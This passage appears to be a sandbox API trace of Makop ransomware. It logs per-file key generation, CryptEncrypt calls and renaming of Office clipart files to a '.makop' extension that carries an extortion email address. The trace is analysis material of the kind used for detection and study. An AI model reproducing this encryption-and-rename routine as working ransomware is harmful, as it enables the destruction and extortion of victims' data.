hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.038] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0124.043] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.043] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.043] GetProcessHeap () returned 0x48a0000 [0124.043] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.043] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.043] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.044] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.044] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.044] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.044] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.045] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.045] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x212e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x212e, lpOverlapped=0x0) returned 1 [0124.046] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2130, dwBufLen=0x2130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2130) returned 1 [0124.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.047] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2130, lpOverlapped=0x0) returned 1 [0124.047] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.047] SetEndOfFile (hFile=0xf0) returned 1 [0124.055] GetProcessHeap () returned 0x48a0000 [0124.055] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.055] GetProcessHeap () returned 0x48a0000 [0124.055] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.055] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.057] CloseHandle (hObject=0xf0) returned 1 [0124.057] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1 [0124.057] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0124.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.060] GetProcessHeap () returned 0x48a0000 [0124.060] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.060] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.065] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.065] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.065] GetProcessHeap () returned 0x48a0000 [0124.065] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.065] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.065] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.065] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.065] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.066] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.066] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.066] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.066] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.066] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.067] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1104, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1104, lpOverlapped=0x0) returned 1 [0124.068] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1110, dwBufLen=0x1110 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1110) returned 1 [0124.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.068] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1110, lpOverlapped=0x0) returned 1 [0124.068] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.069] SetEndOfFile (hFile=0xf0) returned 1 [0124.076] GetProcessHeap () returned 0x48a0000 [0124.076] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.076] GetProcessHeap () returned 0x48a0000 [0124.076] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.076] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.077] CloseHandle (hObject=0xf0) returned 1 [0124.078] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1 [0124.078] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0124.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.078] GetProcessHeap () returned 0x48a0000 [0124.078] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.079] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.079] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.092] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.092] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.092] GetProcessHeap () returned 0x48a0000 [0124.092] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.092] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.092] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.092] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.093] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.093] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.093] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.093] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.094] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c68, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c68, lpOverlapped=0x0) returned 1 [0124.096] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c70, dwBufLen=0x3c70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c70) returned 1 [0124.096] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c70, lpOverlapped=0x0) returned 1 [0124.097] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.097] SetEndOfFile (hFile=0xf0) returned 1 [0124.104] GetProcessHeap () returned 0x48a0000 [0124.104] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.104] GetProcessHeap () returned 0x48a0000 [0124.104] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.104] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.106] CloseHandle (hObject=0xf0) returned 1 [0124.106] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1 [0124.106] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0124.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.107] GetProcessHeap () returned 0x48a0000 [0124.107] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.107] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.107] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.112] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.112] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.112] GetProcessHeap () returned 0x48a0000 [0124.112] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.112] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.112] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.112] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.113] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.114] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.114] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4844, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4844, lpOverlapped=0x0) returned 1 [0124.118] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4850, dwBufLen=0x4850 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4850) returned 1 [0124.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4850, lpOverlapped=0x0) returned 1 [0124.119] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.119] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.119] SetEndOfFile (hFile=0xf0) returned 1 [0124.126] GetProcessHeap () returned 0x48a0000 [0124.126] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.126] GetProcessHeap () returned 0x48a0000 [0124.126] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.126] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.128] CloseHandle (hObject=0xf0) returned 1 [0124.128] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1 [0124.129] wsprintfW 